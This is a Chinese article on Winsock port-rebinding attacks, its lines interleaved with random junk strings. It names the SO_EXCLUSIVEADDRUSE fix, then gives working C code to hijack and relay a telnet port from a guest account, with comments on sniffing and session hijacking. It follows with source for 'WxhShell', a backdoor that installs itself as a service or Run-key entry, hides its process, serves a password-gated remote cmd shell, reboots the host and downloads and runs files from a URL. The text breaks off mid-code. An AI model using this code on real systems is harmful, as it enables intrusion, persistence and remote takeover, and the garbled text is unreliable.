在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
}{S
f* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
: 7Jpt3 h}SP` saddr.sin_family = AF_INET;
c|KN@)A ?4A$9H saddr.sin_addr.s_addr = htonl(INADDR_ANY);
z(g6$Y{ ~H1ZQ[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
MR`lF-|a| hF;TX.Y6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
49d02AU% Tw0GG8(c 这意味着什么?意味着可以进行如下的攻击:
U1 ;<NUg 3Eu;_u_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
8PXjdHR 3]cW08"c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
OuuN~yC #[$zbZ(I>: 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
dJ&f +
Ka+N5 T.f 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'%y5Dh Q$lgC
v^M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]**h`9MF
ayK?\srw 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
q\]"}M8 vn(ji= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
g;mX {p_@ A8oTcX_ #include
f<;w1sM\ #include
-lqsFaW #include
{;-wXzv` #include
8o%g2 P9. DWORD WINAPI ClientThread(LPVOID lpParam);
rGIf/=G^r int main()
$z48~nu@j {
X4I+ WORD wVersionRequested;
%=[xc? DWORD ret;
Kd;Iu\4hv WSADATA wsaData;
<TQ,7M4X BOOL val;
J@l QzRqRb SOCKADDR_IN saddr;
%`)lCK)2 SOCKADDR_IN scaddr;
`% ulorS int err;
u}QcyG^ SOCKET s;
%ZbdWHO# SOCKET sc;
,:=g}i int caddsize;
vp|'Yy(9z HANDLE mt;
h#JX$9 DWORD tid;
67D{^K"KT wVersionRequested = MAKEWORD( 2, 2 );
PL|zm5923 err = WSAStartup( wVersionRequested, &wsaData );
&@ [pJ2 if ( err != 0 ) {
nBkzNb{"AZ printf("error!WSAStartup failed!\n");
Or3GrZ!H return -1;
tQWjNP~ }
-|g9__|@ saddr.sin_family = AF_INET;
)kk10AZV-E #w6ty<b; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Hzc5BC {v>8Kp7_R saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
GJ Takhj3 saddr.sin_port = htons(23);
`W9~u: F if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
aGbHDo {
!))!!{ printf("error!socket failed!\n");
5`\"UC7?% return -1;
/hp
[ +K }
%Kzu&*9Hb val = TRUE;
Zgw4[GpL //SO_REUSEADDR选项就是可以实现端口重绑定的
LTWiCI if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
^Gwpx+ {
&qyXi[vw printf("error!setsockopt failed!\n");
5hj
_YqQ7 return -1;
;FnU[Q`M#L }
CEh!X=Nn //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
aE
2= //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
0T2^$^g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
'PWX19 y%!zXK`cl] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
S;iJQS {
TD.t) ret=GetLastError();
Dn[u zY6 printf("error!bind failed!\n");
t>}(`0 return -1;
UZRN4tru6 }
z2~\
b3G listen(s,2);
dJ.up*aR while(1)
gN;
E}AQt {
AwtiV-w caddsize = sizeof(scaddr);
:j&- Lc //接受连接请求
`MC5_SG 1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
k7kPeq if(sc!=INVALID_SOCKET)
9Yhlq$;g {
J b?x-%Za mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
&t,"k'p if(mt==NULL)
b ,e"x48q {
~xt]g zp{ printf("Thread Creat Failed!\n");
S{jm4LZ break;
i6P'_ }
p735i`8 }
?h)T\z CloseHandle(mt);
WP5Vev9*+ }
e(H{C closesocket(s);
>udu~ WSACleanup();
7G=Q9^J.H return 0;
ijACfl{!:t }
&$yDnSt\ DWORD WINAPI ClientThread(LPVOID lpParam)
N{#9gr3zi {
yA~1$sA1 SOCKET ss = (SOCKET)lpParam;
~A_1he~ SOCKET sc;
95mwDHbA unsigned char buf[4096];
]jSRO30H3< SOCKADDR_IN saddr;
j~Mx^ivwj long num;
*:?XbtIK u DWORD val;
$6]1T> DWORD ret;
_0o65?F //如果是隐藏端口应用的话,可以在此处加一些判断
[L=M=;{4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}poLHS/ saddr.sin_family = AF_INET;
1v inO! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
GG
%*d] saddr.sin_port = htons(23);
U;#G$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
($Q|9>5, {
[&pMU) printf("error!socket failed!\n");
HdRwDW@7= return -1;
#xh
M&X }
-_BX\iP{ val = 100;
nCDG PzJ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2oo\ SmO] {
J\hqK*/8 ret = GetLastError();
C:.>*;?7 return -1;
4mvnFY} }
PkcvUJV if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7U:{=+oLR {
\Nj#1G ret = GetLastError();
*^:s!F return -1;
"u)Le6. }
}b^x#HC if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vG:S(/\> {
V ;"Rp-`^ printf("error!socket connect failed!\n");
!b?cY{ closesocket(sc);
gI00@p:m closesocket(ss);
9^E!2CJ return -1;
^qLesP#
}
w\a6ga!xt" while(1)
S59^$ {
tA^CuJR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
HV{W7) //如果是嗅探内容的话,可以再此处进行内容分析和记录
0:$pJtx" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
NInZ~4: num = recv(ss,buf,4096,0);
:xk+`` T if(num>0)
[e o= send(sc,buf,num,0);
UAGh2?q2 else if(num==0)
;Irn{O break;
C=t9P#g*. num = recv(sc,buf,4096,0);
O*yA50Cn if(num>0)
h0")NBRV& send(ss,buf,num,0);
Ro=dgQ0:t else if(num==0)
,I
H~ break;
vCUbbQz }
DDj:(I?,w closesocket(ss);
AWg'J closesocket(sc);
HMhdK return 0 ;
,z#S=I }
OVGB7CB]S .:O($9^Ho :r7!HG_ ==========================================================
!Y 9V1oVf" 7bQST0 ? 下边附上一个代码,,WXhSHELL
Ymf@r?F< xT-`dS0u ==========================================================
OHt^e7\ 'n}] #include "stdafx.h"
6?a z .yHi"ss3 #include <stdio.h>
eQ*zi9na #include <string.h>
gHFQs](G. #include <windows.h>
JAy-N bb\ #include <winsock2.h>
^].U?t.n) #include <winsvc.h>
u/V&1In #include <urlmon.h>
HX ,\a` @}pcj2K# #pragma comment (lib, "Ws2_32.lib")
_na/&J6 #pragma comment (lib, "urlmon.lib")
|l@z7R+4* WM7LCP #define MAX_USER 100 // 最大客户端连接数
<o/l K\> #define BUF_SOCK 200 // sock buffer
Vi>P =i #define KEY_BUFF 255 // 输入 buffer
FiSx"o &?5me:aU #define REBOOT 0 // 重启
\jb62Jp #define SHUTDOWN 1 // 关机
+No` 89Y {^k7}`7, #define DEF_PORT 5000 // 监听端口
Gd$!xN%O /x<uv_" #define REG_LEN 16 // 注册表键长度
WJk3*$= #define SVC_LEN 80 // NT服务名长度
39I|.B" <
<F // 从dll定义API
\-sW>LIA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
s>%.bAxc typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
d[Zx [=h typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;.^!
7j typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(}s& 84! @$nh6l>i // wxhshell配置信息
dH'02[; struct WSCFG {
ZQn>+c2%! int ws_port; // 监听端口
BAi`{?z$< char ws_passstr[REG_LEN]; // 口令
+S'm<}"1 int ws_autoins; // 安装标记, 1=yes 0=no
8_pyfb char ws_regname[REG_LEN]; // 注册表键名
nJ$2RN char ws_svcname[REG_LEN]; // 服务名
].sD#~L_ char ws_svcdisp[SVC_LEN]; // 服务显示名
C-g,uARX(r char ws_svcdesc[SVC_LEN]; // 服务描述信息
Z<QNzJ D char ws_passmsg[SVC_LEN]; // 密码输入提示信息
pH(X;OC9S int ws_downexe; // 下载执行标记, 1=yes 0=no
.hUlI3z9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,3!TyQ\m' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
3!%-O:! ""Oir!4 };
,5j3(Lk Q
pIec\a+ // default Wxhshell configuration
f$vU$>+[ struct WSCFG wscfg={DEF_PORT,
rjj_]1?K "xuhuanlingzhe",
;-_ZWk] 1,
1/i1o nu} "Wxhshell",
gYbcBb%z "Wxhshell",
<~aKwSF[wW "WxhShell Service",
P4.)kK.3q| "Wrsky Windows CmdShell Service",
\UX9[5| "Please Input Your Password: ",
+3sbpl2} 1,
Uy*d@vU9c "
http://www.wrsky.com/wxhshell.exe",
A8-a}0Gh "Wxhshell.exe"
N1$PW~)Y };
1K(mdL{m5 Zrj#4E1 // 消息定义模块
0|C !n+OK char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
fs-LaV
0 char *msg_ws_prompt="\n\r? for help\n\r#>";
bdfs'udt9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
R0mkEM char *msg_ws_ext="\n\rExit.";
j<`3xd' char *msg_ws_end="\n\rQuit.";
`VvQems char *msg_ws_boot="\n\rReboot...";
X|D-[|P char *msg_ws_poff="\n\rShutdown...";
j-VwY/X char *msg_ws_down="\n\rSave to ";
UZ "!lpg sbhzER char *msg_ws_err="\n\rErr!";
K;w2qc.+ char *msg_ws_ok="\n\rOK!";
T8%!l40v EhW"s%Q char ExeFile[MAX_PATH];
An^)K int nUser = 0;
qM6hE.J HANDLE handles[MAX_USER];
i`W~-J int OsIsNt;
QcJC:sP\> mU"Am0Bdjq SERVICE_STATUS serviceStatus;
Y[_|sIy* SERVICE_STATUS_HANDLE hServiceStatusHandle;
_1mpsY<k X|G[Ma? // 函数声明
2-jXj9kp` int Install(void);
[9V}>kS) int Uninstall(void);
6b$C/ int DownloadFile(char *sURL, SOCKET wsh);
`)4v Q+A> int Boot(int flag);
lrL:G[rt void HideProc(void);
Dr[;\/|# int GetOsVer(void);
/W .G-|: int Wxhshell(SOCKET wsl);
5#s],h void TalkWithClient(void *cs);
Ab>Kf r# int CmdShell(SOCKET sock);
]mz '(t int StartFromService(void);
(h@!_qi9: int StartWxhshell(LPSTR lpCmdLine);
lw99{y3<< o|q5eUh=EY VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
gs=ok8w VOID WINAPI NTServiceHandler( DWORD fdwControl );
X6_
RlV]Sk uA;#*eiA/ // 数据结构和表定义
'[HQ}Wvn SERVICE_TABLE_ENTRY DispatchTable[] =
>`/s+V {
gK@`0/k{ {wscfg.ws_svcname, NTServiceMain},
Qe-Pg^PS] {NULL, NULL}
bsr]Z&9rrk };
:I7mMy* ]9)iBvQlj // 自我安装
#sBL E int Install(void)
0
f$96sl {
G
9(*F char svExeFile[MAX_PATH];
-84%6p2- HKEY key;
R4P&r=? strcpy(svExeFile,ExeFile);
>)G[ww[ uK`gveY // 如果是win9x系统,修改注册表设为自启动
>d &0a: if(!OsIsNt) {
D_[NzCv<- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'o4`GkNh) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o0>| RegCloseKey(key);
V6'u\Ch| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/U0Hk>$~( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|)" y RegCloseKey(key);
^suQ7#g return 0;
+P Dk>PdEt }
9v;HE{> }
XjP& }
6xwjKh:9 else {
mpCu,l+lo 6({)O1Z // 如果是NT以上系统,安装为系统服务
[]aw;\7}Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"Nb2[R if (schSCManager!=0)
BfCnyL% {
6 C
O5:\ SC_HANDLE schService = CreateService
Q4L=]qc T (
QBH|pr
schSCManager,
-mGG:#yP wscfg.ws_svcname,
@$ Nti> wscfg.ws_svcdisp,
K*2s-,b * SERVICE_ALL_ACCESS,
Eb@**% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
esE!i0% SERVICE_AUTO_START,
kX`m(
N$ SERVICE_ERROR_NORMAL,
I )vR svExeFile,
Z 4i5,f NULL,
Ha/Qz'^S; NULL,
= Ul"{T< NULL,
S.B?l_d^ NULL,
nM:<l}~v{ NULL
!g6=/9 );
mMOgx if (schService!=0)
27+faR {
0^nF: F CloseServiceHandle(schService);
0Z]HH+Z; CloseServiceHandle(schSCManager);
T3<1{"& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Ba5*]VGG strcat(svExeFile,wscfg.ws_svcname);
O(2c_! d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
]0 = |?n$7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
o<txm ?+N RegCloseKey(key);
,H,[)8 return 0;
s]6;*mI2 }
"crp/Bj? }
OFmHj]I7= CloseServiceHandle(schSCManager);
r|*_KQq }
9`
UbsxFl }
Z<^EZX3N [7~AWZU3 return 1;
n1JV)4Mv }
+se OoTKR MBw;+'93qf // 自我卸载
3**t'iWQ int Uninstall(void)
@#hvQ6u {
=M4:nt HKEY key;
+Ek1~i. 9W]OtS G if(!OsIsNt) {
1n}#54 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ti6X=@ P: RegDeleteValue(key,wscfg.ws_regname);
<82&F RegCloseKey(key);
#Y3-P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
b=\chCRJJ RegDeleteValue(key,wscfg.ws_regname);
kZ)}tA7j RegCloseKey(key);
WFV'^-4 return 0;
94dd )/a }
,%N[FZ`| }
H25Qx;(dTk }
cN?/YkW?] else {
U{Oo@ztT #.*w) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
sR83e|4I if (schSCManager!=0)
1 n&%L8] {
Sw"h!\c` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/3^XJb$Sa if (schService!=0)
iymN|KdpaZ {
:aaX Y:< if(DeleteService(schService)!=0) {
_>;MQ)Km~ CloseServiceHandle(schService);
1 hFh F^ CloseServiceHandle(schSCManager);
|ka/5o return 0;
3RGmmX"?G }
`{h)-Y`` CloseServiceHandle(schService);
IQtQf_"e1 }
EmrkaV-?k CloseServiceHandle(schSCManager);
LL
(TD& }
.zt&HI.F }
[xrsa!$ ^xNzppz`]C return 1;
[
't.x= }
yhbU;qEG9 Jq(;BJ90R // 从指定url下载文件
PX/{!_mM int DownloadFile(char *sURL, SOCKET wsh)
N[\J#x!U {
pg7~%E4 HRESULT hr;
JrLh=0i9 char seps[]= "/";
|te=DCO char *token;
_6,\;"it?8 char *file;
w|S b`eR char myURL[MAX_PATH];
# |(>UM\ char myFILE[MAX_PATH];
Z : xb8]y G'}N ?8s1 strcpy(myURL,sURL);
dL'oKh, token=strtok(myURL,seps);
|?{V-L while(token!=NULL)
+y'2 h%>h[ {
cAwqIihZ file=token;
,"gPd!HD( token=strtok(NULL,seps);
u=W[ S)w }
Dqc
GzTz 46e?%0( GetCurrentDirectory(MAX_PATH,myFILE);
G,$nq4 strcat(myFILE, "\\");
: -#w strcat(myFILE, file);
uF}dEDB|; send(wsh,myFILE,strlen(myFILE),0);
S ;rd0+J send(wsh,"...",3,0);
!
M CV@5$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
;ZAwf0~ if(hr==S_OK)
Il*!iX|23< return 0;
*U$]U0M else
9DM,,h<` return 1;
m>P\}A^N 9{Et v w }
wL,
-" N*&T)a // 系统电源模块
\ HUDZ2 s int Boot(int flag)
j[A(@w" {
]4[%Sv6]G HANDLE hToken;
2#^g] o-N TOKEN_PRIVILEGES tkp;
Q
Kr/ ^JMG'@x if(OsIsNt) {
|,oLZCNa OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
E' `; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
yn]Sc<uK tkp.PrivilegeCount = 1;
Lhux~,EH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
OOXSJE1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|X A0F\ if(flag==REBOOT) {
fvH{va. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
R59iuHQ[ return 0;
g&F$hm }
nM.g8d K else {
[Z:P{yr if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
inO;Uwlv return 0;
u1y>7,Z6W }
8/tB?j }
*aM7d>nG5 else {
Zv9JkY=+@ if(flag==REBOOT) {
9XDSL[[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
x X3I` return 0;
Q[NoFZ
V! }
~>9G\/u j else {
!\1)?&y9j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jR[c3EA
; return 0;
&a=rJvnIO& }
8+gp"!E }
j?|Vx' [s]$& return 1;
8M,o)oH }
Hqs-q4G$
A~nqSe // win9x进程隐藏模块
ey[Z<i1 void HideProc(void)
>M{98NH {
l#^?sbG %regt{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
F4T!&E%6 if ( hKernel != NULL )
N]/cBGy {
Km=
Y^x0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
)b]wpEFl ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=,N"% } FreeLibrary(hKernel);
Ekq( }
"k @[7
7 Pi?G:IF return;
965 x_
% }
>Q@y8*E\F Os>&:{D 4! // 获取操作系统版本
(Ytr&gh;0 int GetOsVer(void)
g7hI9(8+ {
d{NMG)`x\ OSVERSIONINFO winfo;
S
WTZ6(!oW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
%SIll GetVersionEx(&winfo);
?K2EK'-q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
t~K[`=G\ex return 1;
5ta;C G else
0F- +)S?M[ return 0;
PZJn/A1 }
T}Wbt=\M 9<3}zwJ // 客户端句柄模块
dg#Pb@7a int Wxhshell(SOCKET wsl)
C|Gk} {
VV$#<D<) SOCKET wsh;
._]Pz6 struct sockaddr_in client;
qvy*;
<w DWORD myID;
RiR],Sj x!s=Nola
while(nUser<MAX_USER)
QbHX.:C {
9QHj$)?k, int nSize=sizeof(client);
yZp/P %y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
MLTS<pW/ if(wsh==INVALID_SOCKET) return 1;
tF/Ni*\^rV ;g#nGs> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
7w9'xY if(handles[nUser]==0)
tx<^PV2 closesocket(wsh);
hVB(*WA^D else
,Il) t H nUser++;
^}vf }
@UdF6:T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
tpA-IL?KQw ~Y~M}4 return 0;
[+b8
!'|& }
#0h}{y
E
a)r["*bTx // 关闭 socket
A*+gWn,4Y_ void CloseIt(SOCKET wsh)
(c}!gjm {
yLCMu | + closesocket(wsh);
Dl0{pGK~ nUser--;
Z~94<*LEp ExitThread(0);
fNx!'{o" }
~V ?z!3r-) ]CcRI|g} // 客户端请求句柄
_\k?uUo&,^ void TalkWithClient(void *cs)
;!
?l8R {
85dC6wI4K Q
-$)
H;, SOCKET wsh=(SOCKET)cs;
^.@%n1I"5y char pwd[SVC_LEN];
MRo_An+ char cmd[KEY_BUFF];
j`@`M*)GB char chr[1];
q!U$\Q& int i,j;
K>~YO~~ \5<Z [#{ while (nUser < MAX_USER) {
->;2CcpHB (AjgLNB if(wscfg.ws_passstr) {
f0^s<:* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Z VdQ$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
a"O;DYh //ZeroMemory(pwd,KEY_BUFF);
p]y.N)a i=0;
SfY 5Xgp while(i<SVC_LEN) {
32aI0CT Xe:^<$z // 设置超时
!9r%d8!z fd_set FdRead;
H2[0@|<< struct timeval TimeOut;
fH9"sBiO FD_ZERO(&FdRead);
Ex]Ku FD_SET(wsh,&FdRead);
xuqG)HthRS TimeOut.tv_sec=8;
w1zMY:9 TimeOut.tv_usec=0;
|%XcI3@* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}JQy&V% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
dJrUcZBr (4q/LuP^d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*(vh | pwd
=chr[0]; jp4-w(
if(chr[0]==0xd || chr[0]==0xa) { 54WX#/<Yik
pwd=0; ,S(Z\[x0
break; Hq>hnCT
} c]U+6JH
i++; YE*|KL^
} 9o?\*{'KT
pQ^V<6z}
// 如果是非法用户,关闭 socket ct,;V/Dx
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F}[!OYyg
} B9
?58v&
O.y ?q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NB^Al/V@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DS@Yto
nW\W<[O9
while(1) { "|&3z/AUh
oXk6,b"
ZeroMemory(cmd,KEY_BUFF); jvR(e"
UB8n,+R
// 自动支持客户端 telnet标准 8[AU`F8W
j=0; An?#B4:
while(j<KEY_BUFF) { 2Rwd\e.z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `) ],FE*:
cmd[j]=chr[0]; 2(\PsN w!
if(chr[0]==0xa || chr[0]==0xd) { 6M_ W(
cmd[j]=0; Fx1FxwIJ
break; A{)pzV25
} hRB?NM
j++; T?Z&\g0yp
} ()t~XQ
='1hvv/
// 下载文件 jbT{K|d-
if(strstr(cmd,"http://")) { 6v%ePFul
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $7Z-Nn38
if(DownloadFile(cmd,wsh)) 6#jql
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %B1TN#KoT
else mv,a>Cvs[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T <k;^iqR
} LN$T.r+
else { xf7YIhL^*
aYc<C$:NC"
switch(cmd[0]) { b-<@3N.9]
%`]!atH
// 帮助 Y+g(aak+.
case '?': { WLVkrTvX
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8a8D0}'
break; Ie _{P&J
} K(lVAKiP]
// 安装 P&[&Dj
case 'i': { ;0 +Dx~
if(Install()) 5{DwD{Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -U_,RMw~
else ~g#/q~UE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
- 3PLP$P
break; ([rSYKpi
} <:nyRy}
// 卸载 HFyQ$pbBU
case 'r': { !OPHS^L
if(Uninstall()) %yfl-c(u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b *0u xvLu
else !:esdJH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L0=`1q
break; LLzxCMc9*
} UpSJ%%.n
// 显示 wxhshell 所在路径 !5[SNr3^
case 'p': { /$\8?<Pc".
char svExeFile[MAX_PATH]; z"7X.*]
strcpy(svExeFile,"\n\r"); &IRM<A!8
strcat(svExeFile,ExeFile); b&_Ifx_YF
send(wsh,svExeFile,strlen(svExeFile),0); ~5Mj:{B
break; N.nGez
} ZpBP#Y*
// 重启 {+{p.
case 'b': { xA2I+r*o
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q]K$yo
if(Boot(REBOOT)) (=1zMZo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nsV=
else { c(5XT[Tw
closesocket(wsh); :.a184ax
ExitThread(0); %WmTG }L)
} <*u^8lCA
break; @;hdZLG]`&
} `*kl> }$
// 关机 H=Cj/jE
case 'd': { !SnLvW89Z
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /e|qyWs
if(Boot(SHUTDOWN)) /yY} .S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8)"lCIf
else { W| 0))5a
closesocket(wsh); 2cGiE{
ExitThread(0); bNm]h.
} >O~V#1 H
break; Y2dml!QM
} <|82)hO
// 获取shell ,jw`9a
case 's': { >mEfd=p
CmdShell(wsh); Zvfy%k
closesocket(wsh); O%F*i2I:+k
ExitThread(0); ouFKqRs;
break; JxLfDr,dy
} uKD
}5M?{
// 退出 ,D<U PtPQ
case 'x': { dmLx $8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4Xt`L"f
CloseIt(wsh); q.@% H}
break; ?(Plb&kR
} O2 + K
// 离开 vfm Y>nr
case 'q': { C"s-ttP
send(wsh,msg_ws_end,strlen(msg_ws_end),0); EymSrZw
closesocket(wsh); #O8=M(- V
WSACleanup(); [>3dhj[;
exit(1); vW? /:
break; @B(E&
} F:Ps>
} !su773vo
} :!?Fq/!
El
:%\hGy
// 提示信息 +$2`"%nBG
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m9&%A0
} ocUBSK|K)
} D~M R)z_p~
o>Dd1
j
return; KQw>6)
} S0r+Y0J]<
g:G5'pZf
// shell模块句柄 +bJ~S:[
int CmdShell(SOCKET sock) pm:- E(3#
{ aX|(%1r
STARTUPINFO si; (FgX9SV]p9
ZeroMemory(&si,sizeof(si)); MpJ<. |h
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q6>}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UK,sMKbl1
PROCESS_INFORMATION ProcessInfo; XAtRA1.
char cmdline[]="cmd"; =9^}>u
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QF*cdc<
return 0; e#3RT8u#
} Acd@BL*
)ZrB-(u~k
// 自身启动模式 p
Tz]8[^
int StartFromService(void) fy|I3
{ m@w469&<(q
typedef struct RQ^
\|+_
{ W@'*G*f
DWORD ExitStatus; a69e^;,>q
DWORD PebBaseAddress; $MfRw
DWORD AffinityMask; ?<8c
